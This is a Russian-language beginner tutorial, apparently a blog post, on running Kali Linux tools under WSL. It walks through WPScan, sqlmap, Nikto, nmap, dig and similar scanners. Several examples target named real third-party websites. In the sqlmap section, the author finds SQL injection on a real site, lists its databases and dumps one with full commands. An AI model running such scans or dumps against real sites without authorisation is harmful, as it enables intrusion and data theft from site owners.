Как пользоваться Kali Linux в WSL (подсистеме Windows для Linux): подборка лучших программ (ч. 1)


Инструменты Kali Linux в WSL 

В этой статье мы узнаем, что можно делать в Kali Linux в WSL (подсистеме Windows для Linux) и соберём подборку лучших инструментов для новичков

Надеюсь, вы уже познакомились с предыдущими статьями, посвящённым WSL:

Следующая статья не про WSL, но то, что написано в ней обязательно нужно знать любому пользователю Linux:

Итак, теперь, когда вы уже установили всё как нужно по данным инструкциям, просто откройте командную строку Windows (или PowerShell) и запустите Kali Linux.

kali

Практически все рассмотренные в данной и последующих частях инструменты являются утилитами командной строки, то есть для них не нужен графический интерфейс. Если вам нужно открыть одновременно несколько консолей Kali Linux, то просто откройте несколько окон CMD или PowerShell и в каждом из них введите

kali

Тем не менее, для данной статьи я буду использовать Kali Linux с графическим интерфейсом — просто чтобы чувствовать «дух Kali Linux». Поэтому в дистрибутиве я запускаю команду:

kex

Если не получилось подключиться с первого раза, то делаем так:

kex --stop
kex

Работу начинаем с полного обновления системы и инструментов:

sudo apt update && sudo apt full-upgrade -y

Подборка лучших инструментов для новичков Kali Linux в WSL

Рассмотренные в этой части инструменты и утилиты я разделил на три группы:

  1. Поиск и эксплуатация уязвимостей
  2. Сбор информации
  3. Исследование сети

В дистрибутивах WSL неплохо работают разнообразные сетевые инструменты, но нет доступа к аппаратной составляющей компьютера и периферийным устройствам — по этой причине мы не сможем запустить инструменты для аудита безопасности беспроводных сетей.

Для большинства инструментов будут даны ссылки на дополнительные материалы с подробными описаниями программ, опций и инструкциями. При желании вы сможете изучить любой инструмент более подробно.

1. Поиск и эксплуатация уязвимостей

WPScan (Проверка сайтов WordPress в Kali Linux)

Для проверки сайтов, работающих на WordPress, используется программа WPScan. Эта программа может определить старые версии WordPress, тему оформления, установленные плагины, показать известные уязвимости в плагинах и темах оформления WordPress.

Начнём с обновления базы данных (нужно делать один раз после загрузки компьютера):

wpscan --update

Для проверки сайтов запустите команду вида:

wpscan --url АДРЕС_САЙТА -e p,vt,u

Например, если я хочу проверить сайт minecraftz.ru, то команда следующая:

wpscan --url minecraftz.ru -e p,vt,u

Пример результатов сканирования:

Дополнительная информация по использованию программы:

sqlmap (Поиск уязвимости SQL-инъекция)

Программа sqlmap пригодиться тем веб-мастерам, которые программируют и пишут код сервисов, CMS, сайтов. С помощью sqlmap можно найти уязвимость SQL-инъекция.


SQL-инъекция — это одна из самых серьёзных уязвимостей веб-приложений. При запуске программы нужно указать тестируемый параметр, пример:

sqlmap -u https://САЙТ.ru/rubrika.php?id=31

Пример найденной SQL-инъекции:

sqlmap --url 'http://nov-akl.ru/index.php?docid=531242'

На сайте всё очень плохо, найдено сразу три разновидности SQL-инъекций:

  • boolean-based blind
  • time-based blind
  • UNION query

Добавим опцию —dbs чтобы увидеть список баз данных:

sqlmap --url 'http://nov-akl.ru/index.php?docid=531242' --dbs

Итак, доступно три базы данных:

[*] information_schema
[*] laws15
[*] test

С помощью опции -D указываем интересующую нас базу данных, а опцией —tables мы говорим, что хотим просмотреть список таблиц в этой БД:

sqlmap --url 'http://nov-akl.ru/index.php?docid=531242' -D laws15 --tables

Всего одна таблица под названием «docs_region».

Загрузим себе на память базу данных laws15:

sqlmap --url 'http://nov-akl.ru/index.php?docid=531242' -D laws15 --dump

Дополнительная информация по использованию программы:

Nikto (сканирование веб-серверов и сайтов)

Nikto – это инструмент оценки веб-серверов. Он предназначен для поиска различных дефолтных и небезопасных файлов, конфигураций и программ на веб-серверах любого типа.

Для сканирования с Nikto нужно запустить команду вида:


nikto -h https://САЙТ.RU

Обратите внимание, что протокол также нужно указать.

Пример запуска сканирования сайта forum.comp-web-pro.ru:

nikto -h https://www.forum.comp-web-pro.ru/

Показываемая информация может быть как о серьёзных ошибках, так и о менее важных недочётах (например, не установлены заголовки безопасности HTTP протокола).

Дополнительная информация по использованию программы:

2. Сбор информации

WhatWeb (Узнаём используемые веб-технологии)

Вы можете проверить, что об используемых вашим сайтом технологиях может узнать хакер. Либо сами можете посмотреть технологии, которые применяются на другом сайте. Это делается программой WhatWeb.

Для этого используйте команду вида:

whatweb SITE.RU

К примеру, я хочу узнать о сайте suay.ru:

whatweb suay.ru

Дополнительная информация по использованию программы:

Wig (Простой сбор информации о веб-приложениях)

Wig — это инструмент по сбору информации о веб приложениях, который идентифицирует ряд систем управления контентом (CMS) и другие административные приложения.

Установим программу:

sudo apt install wig

Для проверки сайта запустите команду вида:

wig https://SITE.RU

Проверим, что удастся найти о сайте hackware.ru:

wig https://hackware.ru


Дополнительная информация по использованию программы:


testssl.sh (Проверка правильности настройки SSL сертификата)

С помощью программы testssl.sh можно проверит, всё ли в порядке с вашим SSL сертификатом, правильно ли он установлен, не содержит ли настройка SSL вероятности использования уязвимых шифров и т.д.

Установим программу:

sudo apt install testssl.sh

Для проверки запустите команду вида:

testssl SITE.RU

Проверим правильность настройки TLS/SSL сайта suay.ru:

testssl suay.ru

Дополнительная информация по использованию программы:

whois (Как узнать, занят ли домен)

Предположим, вы хотите узнать, занято ли доменное имя, но не хотите доверять посторонним сервисам и сайтам. Вы можете сделать проверку прямо на своём компьютере!

Это можно сделать, например, с помощью команды whois. Запустите её следующим образом:

whois САЙТ.RU

Допустим, я хочу узнать, занят ли домен w-e-b.site:

whois w-e-b.site

Если домен уже кем-то зарегистрирован, то будет выведена соответствующая информация о регистрации. Если же домен никем не используется, то будет выведено, что домен не найден (возможны варианты: данные не найдены, записи не найдены и т. д.). Примеры записей, если домен не существует:

  • No entries found
  • No Data Found
  • The queried object does not exist: DOMAIN NOT FOUND
  • и т.д.

Также обязательно будет выведена информация о серверах имён (NS) и, (зависит от конкретного домена), могут быть показаны другие данные, вплоть до имени и номера телефона владельца домена.

Как посмотреть HTTP заголовки

В HTTP заголовках может содержаться информация о редиректе, о сервере и прочее. Вы можете посмотреть HTTP заголовки следующей командой:

curl -I SITE.RU

Просмотр HTTP заголовков при обращении к сайту suay.ru:

curl -I suay.ru

Пример вывода:

HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Location: https://suay.ru/
Date: Mon, 21 Sep 2020 13:36:47 GMT
X-Page-Speed: 1.13.35.2-0
Cache-Control: max-age=0, no-cache

Выполняется редирект, об этом говорит строка Location: https://suay.ru/.

Как узнать IP адрес сайта

Нет ничего проще, чем узнать IP адрес любого сайта. Для этого выполните команду вида:

dig SITE.RU +short

К примеру, я хочу узнать IP адрес сайта suay.ru:

dig suay.ru +short

Как узнать все DNS записи сайта

Все DNS записи сайта можно получить командой вида:

dig SITE.RU ANY @8.8.8.8

Пример для сайта suay.ru:

dig suay.ru ANY @8.8.8.8

Бывает, что некоторые серверы имён отказываются обслуживать запрос если в нём указано ANY, то есть показать все записи. Это не является большой проблемой, так как можно посмотреть все записи просто указывая их по одной в команде вида:

dig SITE.RU ЗАПИСЬ @8.8.8.8 +short

Популярные типы записей:

  • A
  • AAAA
  • NS
  • SOA
  • MX
  • PTR
  • CAA
  • TXT
  • SRV
  • CNAME
  • DNAME
  • DS
  • RRSIG
  • NSEC

Примеры:

dig w-e-b.site A @8.8.8.8 +short
dig w-e-b.site AAAA @8.8.8.8 +short
dig w-e-b.site NS @8.8.8.8 +short
dig w-e-b.site SOA @8.8.8.8 +short

Смотрите также: Введение в DNS терминологию, компоненты и концепции.

3. Исследование сети

Nmap (Как проверить открытые порты)

Проверку открытых портов можно сделать программой Nmap.

В самих по себе открытых портах нет ничего плохого. Например, для работы веб-сервера необходимы открытые порты 443 и 80. То есть для используемых служб порты должны быть открыты.

Порты следует закрыть для неиспользуемых служб. Например, если вам не нужен FTP сервер, то порт 21 не должен быть открыт, если вы не используете SSH, то порт 22 не должен быть открыт.

Если вы обнаружили открытый порт с необычным номером, то это может означать, что сервер взломан и хакер установил на этом порту бэкдор.

В первую очередь следует проверять свои собственные сервера (VPS), поскольку на виртуальных хостингах обычно открыто много портов и хостер это делает для каких-то своих нужд.

Для проверки открытых портов используется команда Nmap.

Команда запускается следующим образом:

nmap IP_или_САЙТ

В этом случае будут проверены самые часто используемые порты. Если вы хотите проверить вообще все порты, то запустите команду так:

nmap IP_или_САЙТ -p-

Проверка открытых портов сервера, на котором работает сайт suip.biz:

nmap suip.biz

Дополнительная информация по использованию программы:

traceroute (Трассировка маршрута для поиска проблем и исследования сети)

Трассировка маршрута пакета до сетевого хоста показывает все промежуточные узлы, через которые проходит пакет, пока доберётся до указанной цели. То есть с помощью трассировки можно узнать, по каким узлам, с какими IP адресами, передаётся пакет прежде чем быть доставленным до точки назначения.

Трассировка может применяться для выявления связанных с работой компьютерной сети проблем, а также для исследования сети (определения структуры сети, поиска промежуточных сетевых узлов).

Установим программу:

sudo apt install traceroute

Чтобы сделать трассировку, нужно указать удалённый хост — это может быть IP адрес сервера или компьютера или просто адрес сайта:

traceroute САЙТ_ИЛИ_IP

Например, чтобы сделать трассировка до сервера, на котором запущен сайт w-e-b.site:

traceroute w-e-b.site

Читайте также «Трассировка сетевого маршрута».

ping (для проверки доступности серверов и поиска проблем сети)

Программа ping отправляет на указанный хост запрос и показывает время ответа (если ответ пришёл). В случае возникновения ошибки, программа ping выводит её.

Такое поведение позволяет проверить, есть ли доступ до определённого хоста, а также выявить некоторые проблемы сети, такие как потеря пакетов и большие задержки.

Для использования запустите команду вида:

ping САЙТ_ИЛИ_IP

Например:

ping w-e-b.site

В отличие от версии ping для Windows, которая отправляет 4 пакета и автоматически завершает работу, в Linux ping (если вы не установили иное опцией) будет отправлять пакеты до бесконечности. Чтобы завершить работу этой или иной утилиты командной строки, нажмите Ctrl+c.


Первая часть получилась достаточно объёмной и насыщенной, а ведь я не затронул даже одну третью часть того, о собирался рассказать. Поэтому обязательно будут следующие части!

Продолжение: Как пользоваться Kali Linux в WSL (подсистеме Windows для Linux): подборка лучших программ (ч. 2)


Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *